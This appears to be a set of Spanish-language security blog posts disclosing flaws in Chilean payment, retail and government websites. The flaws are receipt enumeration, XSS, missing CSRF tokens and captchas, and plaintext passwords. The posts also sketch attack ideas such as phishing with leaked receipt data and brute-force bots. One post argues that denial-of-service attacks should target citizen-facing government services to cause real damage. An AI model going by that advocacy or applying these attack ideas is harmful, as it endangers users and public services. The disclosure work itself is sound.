Los sistemas web deberían manejar internamente un “id” o nombre ficticio del archivo, hasheado y mapeado al momento de subirlo, para no permitir que cualquier usuario pueda acceder. Por ejemplo, si tenemos la URL de prueba dada anteriormente, 949394 correspondería al ID del archivo, el sistema debería -internamente- hacer una consulta a la base de datos y ver a que archivo corresponde ese ID, luego ver quienes tienen permisos para acceder a ese archivo y, luego de verificar la sesión y permisos, permitir la descarga del archivo.
Para evitar la descarga directa de los archivos, el directorio “uploads” debería estar fuera del directorio de la aplicación, por ejempo, si el directorio de la aplicación es /var/www/html/sistema1/, el directorio debería estar fuera de “sistema1″, sino, aunque hagas todas las validaciones posibles, de todas formas se podrá acceder directamente al archivo saltandose la validación de la aplicación.

Pasa el tiempo y, luego de haber reportado las vulnerabilidades que afectaban a Servipag, siguen apareciendo nuevas vulnerabilidades que afectan al portal de pagos. Esta vez se trata de 2 nuevas vulnerabilidades, una reportada en Secureless, que atenta contra la privacidad de los usuarios, permitiendo que cualquier persona pueda acceder a los comprobantes de pago de cada cliente, simplemente moficiando una variable en la URL, la segunda se trata de un XSS en el mismo sitio del comprobante de pago.

Servipag continua diciendo que sus politicas y tecnologías de seguridad son en base a altos estandares nacionales e internacionales y segun ellos, las vulnerabilidades que existen no ponen en riesgo la informacion de los usuarios, ya que todo el proceso de compra/pago y transaccion no se hacen directamente en los servidores de ellos … PERO, sorpresa, ellos guardan un comprobante de pago de forma local, pudiendo acceder a TODOS los comprobantes de pagos de quienes usen el servicio, sean o no usuarios registrados.

Que tipo de información podemos ver aqui?

1. Se refiere al “cliente” como “Usuario”, lo mas probable que no esté registrado en servipag, de lo contrario mostraría el nombre.
2. El banco mediante el cual se hace el pago.
3. Empresa o servicio que se paga.
4. Monto, fecha y ID del pago realizado.

Con esta información es posible relacionar a personas con un banco especifico y ademas con el consumo de un servicio, en una fecha especifica. Esta información podría ser útil para enviarle una trampa al usuario, un correo fake (phishing) con datos reales como su nombre, banco al que pertenece, servicios que consume, fechas en las que hace el pago … en fin, una serie de información que nadie tendría que saber.

Si jugamos modificando el Id del comprobante de pago, podemos encontrar datos reales, como es el caso del 68012208:

Una persona, cuyo  nombre aparece en el comprobante, que tiene cuenta en el banco estado y es cliente de Movistar.

No es esto poner en riesgo los datos de los usuarios?

La otra vulnerabilidad encontrada, se trata de un XSS que afecta a este mismo sitio donde se muestra el comprobante de pago. Nuevamente, es posible saltarse los filtros -parecen de juguete- que los desarrolladores pusieron, pudiendo inyectar código Javascript o HTML.

Cual es el potencial riesgo de estas dos vulnerabilidades juntas?

Es simple, solo con un poco de imaginación podemos crear una pagina de pago falsa y usar los datos de los clientes obtenidos desde su comprobante de pagos para enviar un correo malicioso insitando a que el usuario caiga en una trampa, para poder robarle información privada como usuarios, claves, etc.

Nuevamente, Servipag NO está cumpliendo con entregar un servicio seguro a sus clientes.

ACTUALIZADO Al parecer Servipag ya solucionó el problema del comprobante, ya que al intentar ver un comprobante de pago muestra un mensaje que la información no está disponible. Esperemos que no sea una solución trucha. El XSS siguen existiendo:

Las vulnerabilidades fueron reportadas el dia sabado, pero no respondieron .. Intentaron solucionar los problemas silenciosamente, pero solo pudieron solucionar uno.

ACTUALIZADO (6 de Septiembre)
Luego de semanas de haberlo reportado por correo y sin tener respuesta, me decidí a publicar la vulnerabilidad XSS para “obligarlos” a corregirla. Luego de publicarla, no pasaron ni 20 minitos y fue solucionada:

http://www.secureless.org/vulnerability/2034/

Según mi opinión, un ataque de denegación de servicio a sitios del gobierno no tiene ningun sentido y no hacen daño ni provocan preocupación, creo que los ataques deberian realizarse hacia “servicios” y no a “sitios”, donde se vean afectados los servicios que los ciudadanos usan y que el gobierno se sienta incapaz de brindarselos. Esto sucede porque no se hace un estudio sobre la víctima, para darle donde más le duele, se puede llamar “ataque organizado” porque se acuerdan una hora y todos presionan el botón ese dia a esa hora, pero no hay una real coordinación donde se investigue un objetivo donde realmente llame la atención, y mientras siga siendo así, seguiran siendo ataques simbólicos.

El gobierno chileno tiene muchas brechas de seguridad informática y de la información, es por esto que me hago la pregunta, ¿Está preparado el gobierno de Chile para recibir un ataque de robo de información?, la respuesta clara es: NO. No está preparado el gobierno, ni las personas, ni los encargados, no existen políticas (y si existen no se cumplen), encargan su seguridad a un simple firewall que solo les sirve para que sus empleados no puedan ingresar a ver youtube. Obviamente no puedo decir que “todas las entidades del gobierno tienen fallos de seguridad”, pero me refiero al gobierno en general.

Desde hace un tiempo que he estado investigando las distintas vulnerabilidades web en sitios del gobierno, intentando reportar la mayoría. En algunos casos no responden, en otros casos no hay forma de contactarlos pero en el mejor de los casos, recibo respuestas y unas satisfactorias gracias.

El gobierno chileno es muy vulnerable a la fuga y robo de información (data leak, data theft).

Fuga de Información o Data Leak
Basta con preparar un dork lo suficientemente bueno que nos permita encontrar URLs indexadas por algún buscador donde podamos acceder a información sensible. Es muy típico acceder a respaldos o dumps de bases de datos, a planillas de calculo o archivos de texto que no deberían ser publicos. Por otro lado tambien está el problema del control de acceso, saber quien y a qué se accedió a los sistemas de manejo de información.

Robo de Información o Data Theft
Asimismo, tambien es vulnerable al robo de información o Data Theft, se han preguntado que tan fácil es ingresar a una organización del gobierno y encontrar información sensible para poder llevarnos? Los mismos empleados publicos tienen la capacidad de insertar un pendrive en sus computadores de trabajo y llevarse información a casa, muchas veces lo hacen inconcientemente, sin saber o sin darse cuenta que estan exponiendo la seguridad de la institución.
Se han preguntado si la información que se da de baja realmente se destruye?
- Qué información podemos encontrar en los basureros diariamente? Sería bueno hacer ese ejercicio …
- Si a una persona se le pierde el telefono movil o el portatil de la institución, qué información queda expuesta?
- Cuanta información sensible manejan las personas sin saber que se tratan de datos sensibles?

Servidores y Servicios
Si hablamos de la seguridad a nivel de servidores y servicios, de 1 a 10 yo pienso que el nivel de seguridad no supera el 5 en la mayoría de los casos: instalaciones y configuraciones por defecto, versiones de sistema operativo antigua, versiones de servicios antiguas (ftp, ssh, http, etc), passwords débiles y genéricas, poca seguridad en cuanto a permisos y propietarios de archivos (se encuentran muchos permisos 777 y como propietario el usuario apache) y por último, culpando nuevamente al usuario, el hecho de que un usuario le entregue su password a otras personas.

Vulnerabilidades Web
Pueden tener el firewall más caro, contratar a la empresa de seguridad con más prestigio, pero cuando una web es vulnerable a ataques que nos permitan acceder al servidor de alguna forma, es dificil de detectar. Muchos sitios web del gobieron son vulnerables a distintos tipos de ataques, desde algunos tan sencillos como los que nos permiten obtener el full path, hasta unas mas complejas que nos permiten, mediante distintas técnicas de ataque, obtener el control del servidor. Las vulnerabilidades tipicas son las inyecciones de SQL (sql injection), XSS (en algunos casos XSS permanentes), Local/Remote File Include, Directory Traversal y, para rematar, Arbitrary File Upload. Hay veces que saltarse los filtros es muy facil, pudiendo combinar distintas vulnerabilidades como “Full Path Disclosure + Arbitrary File Upload + Directory Traversal” para lograr obtener una shell en el servidor. Muchos sistemas carecen de validaciones efectivas para sanitizar o filtrar los parametros que se pasan mediante GET o POST.

El caso del Ministerio del Interior
Hace unas semanas reporté una vulnerabilidad de XSS Permanente en el sitio web del Ministerio del Interior. En algunos casos un XSS podría parecer inofensivo, pero en este caso en particular al tratarse de un XSS permanente, si alguien lo hubiese explotado, perfectamente podria haber accedido a información sensible del ministerio, ya que se encontraba en un sistema donde los usuarios realizan preguntas o peticiones al ministerio, luego las preguntas son recibidas por gente que trabaja en el ministerio mediante una interfáz web. Si inyectabamos un codigo html/javascript en nuestra “pregunta”, se guardaba sin filtrar ni parsear en la base de datos, luego cuando el usuario encargado ingresaba vía web al sistema de administración, el código javascript se le ejecutaba en el navegador, exponiendolo a un ataque que podría haberle robado la sesión o más datos de su computador, enviandolos a un servidor remoto.
Esta vulnerabilidad fue corregida despues de haberla reportada.

El caso de la Dirección General de Movilicación Nacional (DGMN)
La DGMN expone desde el 2007 la base de datos del registro del servicio militar, dejando al descubierto los nombres de los que postularon y fueron llamados, juntos con sus RUT y más información sensible. La DGMN ha sido reportada mediante distintas vias y ninguna ha dado resultado, siguen sin solucionar el problema y hasta el día de hoy la base de datos está expuesta junto con otros datos más.

Si en Chile el grupo “Anonymous” estuviese conformado por hackers con los conocimientos y habilidades suficientes, estoy seguro que podrian poner en aprietos al gobierno.

Ambos sitios son vulnerables a ataques Cross-Site Scripting, permitiendo que un atacante use el sitio web de cada tienda para falsificar contenido y robar información o realizar estafas, aprovechandose de la confianza que el usuario tiene en el sitio web.
Los sitios afectados son: http://www.falabella.cl y http://www.ripley.cl incluyendo los sitios “seguros” (https) de cada uno.

Lo más irónico es que los sitios estan “certificados” por una empresa de seguridad que según ellos:

Verisign, líder mundial en certificación de comercio electrónico.

Aunque no me sorprende, luego de haber encontrado hace un tiempo un XSS en el propio sitio web de VeriSign.

Otra cosa que tambien les debería dar verguenza a estas empresas es prometer 100% de seguridad al usuario, como dice en sus propios sitios web:

Todo esto es una mentira.

Con las 2 imagenes que veran a continuación, no habrá mucho que explicar…

1.

2.

Ripley mostrando contenido de Falabella y Falabella mostrando contenido de Ripley, incluso usando sus sitios “super seguros” https.

Perfectamente el atacante podría suplantar el sitio web de cualquier de estas dos tiendas y, por ejemplo, en https://www.falabella.cl en lugar de mostrar el contenido de Ripley, mostrar un sitio web de Falabella FALSO, donde se invite al usuario a unas increíbles ofertas y que para acceder a ellas sólo debe iniciar sesión.

Ambos sitios prometen la máxima seguridad, dicen estar certificados, usar certificados SSL de un millón de bits que permiten una transacción segura, que los clientes le confien los datos, que ellos nunca pedirán datos por correo pero sin embargo … Pero qué pasa si te llega un correo con links verdaderos a httpS://www.falabella.com o httpS://www.ripley.cl  ? Si ellos mismos están diciendo que confien en ellos … Obviamente el usuario hará click y caerá en la trampa que las mismas tiendas le pusieron.

Este articulo no busca ser un analisis profundo de seguridad de las grandes tiendas, simplemente una prueba más de las mentiras falsas promesas que hacen los portales de internet que por obligación DEBEN ser seguros, pero no los son.

La vulnerabilidad fue reportada a Falabella el 21 de Julio y hasta el momento no he obtenido respuesta, en Ripley estoy esperando que me digan donde puedo enviar el reporte.

Analizaré las validaciones que hacen estos servicios, que tan vulnerables a ataques de robo de información, suplantación de identidad o que tan seguros son sus procesos, con el objetivo de dejar al descubierto la falta de seguridad y de validaciones al momento de hacer peticiones entre sitios, validacion de tokens de seguridad, uso de captchas para evitar a los bots, etc.

El análisis consiste en:

• Security Tokens: Revisar que los servicios que ofrecen cada sitio web cuenta con los tokens de seguridad en sus formularios, para evitar pecitiones POST o GET desde sitios externos.
• Captcha: Es el mecanismo más usado para determinar si quien está enviando la petición es un humano y no un bot. Ayuda contra los ataques de fuerza bruta.
• Passwords cifradas: Verificar que la password de los usuarios se almacene cifrada en la base de datos.
• Uso de certificados SSL en sus transacciones.

Y los resultados son alarmantes…

1. Servipag: Passwords sin cifrar, permite el tráfico sin http seguro, no usa tokens de seguridad en sus formularios, permite realizar peticiones desde sitios/formularios falsos, no usa captcha.
2. Sencillito: Al no requerir registro de usuario se libera de todas las criticas, este servicio es el mas sencillo y el más seguro
3. MisCuentas: Passwords cifrados, tiene un buen mecanismo de recuperacion de contraseña, las transacciones se realizan mediante HTTP seguro, no usa tokens de seguridad y tampoco utiliza captcha, permitiendo peticiones desde sitios/formularios falsos.

Para leer el detalle del análisis, continua leyendo el artículo.

Servipag

Security tokens

Existen dos formularios, uno para el inicio de sesión y otro para el pago de cuentas.
El primero,

No cuenta con ningun tipo de seguridad, es un formulario común y corriente.

<form action="http://servipag.cl/Portal/Account/LogOn" method="post" name="formCliente">
<input name="prsn_id" value="" type="hidden" />
<input name="accs_pin" value="" type="hidden" />
<input name="rut_2" value="" type="hidden" />
<input name="rut_1" value="" type="hidden" />
<input name="clave_1" value="" type="hidden" />
<input name="accion" value="login" type="hidden" />
<input class="textInput2" id="Rut" maxlength="12" name="Rut" onblur="javascript:formatear3_menu(document.formCliente);" onfocus="javascript:formatear4_menu(document.formCliente);" onkeypress="javascript:return solorut_menu(event);" size="12" type="text" value="" tabindex="1" />
<input class="textInput2" id="Password" maxlength="12" name="Password" onkeypress="PressEnter_menu(event);" size="12" type="password" value="" tabindex="2" />
</form>

El segundo,

Tambien es un formulario común y corriente.

<form id="formPagoCuentas" name="formPagoCuentas" method="post" action="">
<select id="servicios" name="servicios">...</select>
<select id="billers"><option value="">[Empresa]</option></select>
<input type="hidden" name="pagina" value="web/busqueda_cuentas.htm" />
<input type="hidden" name="TipoBusqueda" value="N" />
<input type="hidden" name="IntTipoBusqueda" value="0" />
<input type="hidden" name="arrayCuentas" value="" />
</form>

Permitiendo peticiones desde sitios remotos.

Captcha

Ninguno de los formularios hace uso de captchas, permitiendo hacer peticiones automatizadas y ataques de fuerza bruta.

Password cifradas

El sistema de Servipag NO almacena las claves de usuarios cifradas.

Certificado SSL

Ambos formularios envian los datos cifrados mediante SSL solo cuando el usuario ingresa mediante https, si el usuario ingresa usando http normal, los formularios enviarán los datos en plano. Lo pueden ver en el codigo html de los formularios que mostré unas lineas mas arriba.

Sencillito

Security tokens

Solo encontré el formulario de pago de cuentas, al parecer no tiene registro de usuarios.

Como no tiene formulario de inicio de sesion, en este caso los tokens de seguridad no son necesarios, a menos que alguien quiera falsificar el formulario y pagarnos las cuentas

Captcha

Como he dicho mas arriba, tampoco es necesario proteger el formulario contra los bots.

Password cifradas

No aplica, ya que no hay registro de usuario de por medio.

Certificado SSL

Obliga al usuario a usar HTTP seguro, ya que al ingresar a http:// redireccione automaticamente a https.

MisCuentas

Security tokens

El primer formulario, corresponde al inicio de sesion

Al ver el codigo fuente podemos ver unos input que parecieran ser security tokens

<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTEwMDUyNjYzMjgPZBYCZg9kFgICAw9kFgJmDw9kFgIeCG9uQ2hhbmdlBV9jaGVja1J1dEZpZWxkKGFzcG5ldEZvcm0uY3RsMDBfdHh0TG9naW4udmFsdWUsYXNwbmV0Rm9ybS5jdGw$
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWAwKtxfWYAwLT4e+AAwKB7cu1BVBe9NtqfcZbqVushQKI1bjh/ZuV" />

Pero no lo son, o si lo son no los están utilizando correctamente, ya que es posible realizar peticiones desde sitios remotos, permitiendo programar un bot que obtenga la password de un usuario mediante fuerza bruta.

Captcha

No hace uso de captchas. Aprovechandose de esta ineficiencia, junto con lo anterior, es posible programar un bot que haga peticiones POST al formulario de login hasta dar con las credenciales de los usuarios.

Password cifradas

Esto es un punto a favor, el correo que llega cuando intentamos recuperar la contraseña es:

No envian mi password, por lo que todo indica que no saben cual es ya que está cifrada. Nos entregan una password aleatoria alternativa con caducidad, lo que nos obliga a volver a cambiarla por una que recordemos.

Certificado SSL

Ingresando por HTTP normal y HTTP seguro el formulario envia la informacion cifrada y una vez dentro del portal todos los links parecen apuntar a un sitio seguro.

Conclusiones

Una vez realizado el analisis, concluímos que el mientras más simple sea el método de pago, mejor. El premio a la sencillez se lo lleva Sencillito, ya que no requiere registro de usuario disminuyendo las posibilidades de tener brechas de seguridad. De los dos sitios que requieren registro de usuario, el más seguro es MisCuentas, ya que “obliga” al usuario a enviar sus datos mediante SSL, no almacena sus password en texto plano y tiene un procedimiento de recuperación de contraseña mejor.

Problemas comunes

Ninguno de los portales de pagos utiliza tokens de seguridad en sus formularios, tampoco utilizan captcha, lo que permite programar bots ninjas que se dediquen a obtener los datos de usuario (como user y pass) mediante fuerza bruta sin ningun tipo de protección.

El mas inseguro

Este premio se lo lleva Servipag. Al registrarse como usuario podemos ver el siguiente mensaje:

¿Cuanto tardaría un bot en encontrar una clave entre 4 y 6 caracteres?

Es inaceptable que un sistema que dice ser seguro obligue al usuario a escribir una password con un límite de caracteres. Todos sabemos lo que es un hash, que indiferente al largo de la cadena de caracteres, el hash siempre tendrá un largo fijo. Por ejemplo, el password “123456″ tiene un hash en md5 de 32 caracteres, al igual que la password “12345678″, “ifndsifndsifn2432432432432″, etc. Por lo tanto, el hecho de que te pongan un límite en la cantidad de caracteres para tu password automaticamente hace pensar que tienen definido el campo en la base de datos como “varchar(6)” y obviamente no está cifrado, lo comprobamos al intentar recuperar la contraseña, nos llega un correo con nuestra clave!!

Finalmente, el orden, desde el más seguro hasta el más inseguro:

1. Sencillito
2. MisCuentas
3. Servipag